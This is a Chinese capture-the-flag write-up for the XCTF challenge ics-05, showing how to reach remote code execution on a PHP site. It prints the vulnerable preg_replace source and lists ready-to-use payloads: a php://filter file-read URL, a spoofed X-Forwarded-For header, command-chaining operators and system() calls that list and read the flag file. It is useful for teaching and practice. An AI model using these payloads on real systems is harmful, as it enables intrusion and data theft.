攻防世界 ics-05

ics-05

隐藏的变量传参,php弱类型比较

只有设备维护中心可以点击进去

img

查看源码,发现有个隐藏的超链接变量传参

img

看到变量传参,有可能存在文件包含漏洞读取源码,这个站是php的站,所以可以使用php伪协议读取源码

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

img

base解码,可以看到漏洞点在这里

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}
?>

分析一下,传入了三个变量pat,rep,sub

preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。  
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。  
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定,将会被填充为完成的替换次数。找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候,替换的时候会将$replacement替换进去的代码当成php执行

img

所以先抓包,添加一个X-Forwarded-For

img

接着查看可疑文件,用%20代替空格 %26代替&,%20%26是它们的url编码

命令联合执行
;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
system("ls%20s3chahahaDir")     
system("cd%20s3chahahaDir%26%26ls")

img

继续查看文件内容

system("ls%20s3chahahaDir/flag")
system("cd%20s3chahahaDir/flag")

img

拿到flag

system("cat%20s3chahahaDir/flag/flag.php")
system("cd%20s3chahahaDir/flag%26%26cat%20flag.php")

img

攻防世界XCTF:ics-05_xctf-insc05-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/879280.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件测试工程师面试整理-测试类型

软件测试类型多种多样,涵盖了从功能验证到性能评估的不同方面。了解各种测试类型有助于在软件开发生命周期的不同阶段选择合适的测试方法,确保软件的质量和可靠性。以下是常见的软件测试类型: 1. 功能测试(Functional Testing) ● 目标:验证软件功能是否按照需求文档正确…

2024年9月HarmonyOS鸿蒙应用开发者高级认证全新题库(覆盖99%考题)

一个小时通过鸿蒙高级认证 1、在开发 Harmony0S 应用工程时&#xff0c; 随着业务的发展&#xff0c;现在需要创建一个模块&#xff0c; 关于在 DevEco Studio 中创建 Module &#xff0c; 下列选项哪种方式是错误的? 必对 在 hvigor 目录下&#xff0c;单击鼠标右键&#xf…

Docker Swarm管理(Docker技术集群与应用)

如上图所示&#xff0c; 三台主机&#xff1a;恢复到docker的快照&#xff1b; 然后上传到三台服务器所需的镜像&#xff1b; 同步会话。执行导入脚本将镜像导入到系统中&#xff1b; 然后取消会话的同步&#xff0c;设置各个主机的主机名&#xff1b; 然后同步会话修改hosts…

Java JUC(一) 线程概念与常用方法

Java JUC&#xff08;一&#xff09; 线程概念与常用方法 一. JUC 基本概念 Java JUC&#xff08;Java Util Concurrent&#xff09; 是Java平台提供的一个并发编程工具包&#xff08;java.util.concurrent&#xff09;&#xff0c;全称为Java Concurrency Utilities。这个工具…

深入剖析 MQTT 协议:物联网通信的核心力量

摘要&#xff1a; 本文全面深入地探讨了 MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;协议。详细阐述了 MQTT 协议的起源与发展背景&#xff0c;介绍其基本概念、特点及工作原理。深入分析了 MQTT 的架构组成&#xff0c;包括客户端、代理服务器及主题的作…

Jenkins部署若依项目

一、配置环境 机器 jenkins机器 用途&#xff1a;自动化部署前端后端&#xff0c;前后端自动化构建需要配置发送SSH的秘钥和公钥&#xff0c;同时jenkins要有nodejs工具来进行前端打包&#xff0c;maven工具进行后端的打包。 gitlab机器 用途&#xff1a;远程代码仓库拉取和…

《C++初始化列表陷阱:谨慎前行,避免潜在风险》

一 在 C编程中&#xff0c;初始化列表是一个强大的工具&#xff0c;它允许在对象创建时直接初始化成员变量。然而&#xff0c;就像任何强大的工具一样&#xff0c;如果使用不当&#xff0c;初始化列表也可能会带来一些陷阱。在本文中&#xff0c;我们将深入探讨 C中的初始化列表…

研1日记10

1. 日志 6.python接口自动化测试_日志类的封装与使用_哔哩哔哩_bilibili 简单的写法&#xff1a;python日志模块的封装(loguru)_哔哩哔哩_bilibili 2.open()函数 在Python中&#xff0c;使用open()函数打开文件时&#xff0c;第二个参数指定了文件的打开模式。w和a是两种常…

MongoDB 原子操作

MongoDB 原子操作 MongoDB 是一种流行的 NoSQL 数据库,以其灵活的数据模型和强大的查询语言而闻名。在处理数据时,MongoDB 提供了多种原子操作,确保了数据的一致性和安全性。本文将深入探讨 MongoDB 中的原子操作,包括其重要性、使用场景以及如何在实际应用中实现这些操作…

基于Linux的ARMxy工控机IEC61850协议实践

工业自动化水平的不断提高&#xff0c;对设备间高效、可靠通信的需求日益增长。IEC61850标准作为电力系统自动化领域的重要国际标准之一&#xff0c;其应用范围正在从传统的电力行业向更广泛的工业自动化领域扩展。本文将探讨基于ARM架构的工业计算机如何在Linux操作系统环境下…

解码未来:H.265与H.266技术对比及EasyCVR视频汇聚平台编码技术优势

随着视频技术的不断发展&#xff0c;视频编码标准也在不断更新迭代。H.265&#xff08;也称为HEVC&#xff0c;High Efficiency Video Coding&#xff09;和H.266&#xff08;也称为VVC&#xff0c;Versatile Video Coding&#xff09;作为当前和未来的主流视频编码标准&#x…

BrainSegFounder:迈向用于神经影像分割的3D基础模型|文献速递--Transformer架构在医学影像分析中的应用

Title 题目 BrainSegFounder: Towards 3D foundation models for neuroimagesegmentation BrainSegFounder&#xff1a;迈向用于神经影像分割的3D基础模型 01 文献速递介绍 人工智能&#xff08;AI&#xff09;与神经影像分析的融合&#xff0c;特别是多模态磁共振成像&am…

golang学习笔记11——Go 语言的并发与同步实现详解

推荐学习文档 golang应用级os框架&#xff0c;欢迎star基于golang开发的一款超有个性的旅游计划app经历golang实战大纲golang优秀开发常用开源库汇总golang学习笔记01——基本数据类型golang学习笔记02——gin框架及基本原理golang学习笔记03——gin框架的核心数据结构golang学…

[前端][JS]html中js不同位置的区别

里面&#xff0c;写到下面&#xff0c;这三种有什么区别&#xff1f; javascript代码写在<head>里面&#xff1a; 由于这时候网页主体&#xff08;body&#xff09;还未加载&#xff0c;所以这里适合放一些不是立即执行的自定义函数&#xff0c;立即执行的语句则很可能…

【机器学习】马尔可夫随机场的基本概念、和贝叶斯网络的联系与对比以及在python中的实例

引言 马尔可夫随机场&#xff08;Markov Random Field&#xff0c;简称MRF&#xff09;是一种用于描述变量之间依赖关系的概率模型&#xff0c;它在机器学习和图像处理等领域有着广泛的应用 文章目录 引言一、马尔科夫随机场1.1 定义1.2 特点1.3 应用1.4 学习算法1.5 总结 二、…

【数据分析预备】Pandas

Pandas 构建在NumPy之上&#xff0c;继承了NumPy高性能的数组计算功能&#xff0c;同时提供更多复杂精细的数据处理功能 安装 pip install pandas导入 import pandas as pdSeries 键值对列表 # 创建Series s1 pd.Series([5, 17, 3, 26, 31]) s10 5 1 17 2 3 3 26 4 31 dt…

Windows更新之后任务栏卡死?桌面不断闪屏刷新?

前言 小白这几天忙于工作&#xff0c;更新就变得异常缓慢。但就算这么忙的情况下&#xff0c;晚上休息的时间还是会给小伙伴们提供咨询和维修服务。 这不&#xff0c;就有一个小伙伴遇到了个很奇怪的问题&#xff1a;电脑Windows更新之后&#xff0c;任务栏点了没反应&#xf…

C++当中的多态(三)

&#xff08;六&#xff09;虚表的本质 其实我们大家应该都已经猜到了&#xff1a;我们虚表的本质就是一个函数指针数组。通过访问这个函数指针数组就可以得到我们想要的虚函数的地址&#xff0c;之后通过这个地址就可以调用我们相应的虚函数。我们这个函数指针数组是以nullptr…

如何使用python运行Flask开发框架并实现无公网IP远程访问

文章目录 1. 安装部署Flask2. 安装Cpolar内网穿透3. 配置Flask的web界面公网访问地址4. 公网远程访问Flask的web界面 本篇文章主要讲解如何在本地安装Flask&#xff0c;以及如何将其web界面发布到公网进行远程访问。 Flask是目前十分流行的web框架&#xff0c;采用Python编程语…

Vue3如何查看项目是否安装了vue-router路由依赖,及安装方法

查找vue3项目的依赖 如果当前的vue3项目是基于vite构建工具创建的&#xff0c;那么在创建的过程中会询问是否需要安装一些依赖&#xff0c;一般情况下可以根据项目的需求自定义安装。 如果在vue3的项目创建完之后&#xff0c;确实忘记了自己之前都安装过哪些项目的依赖&#…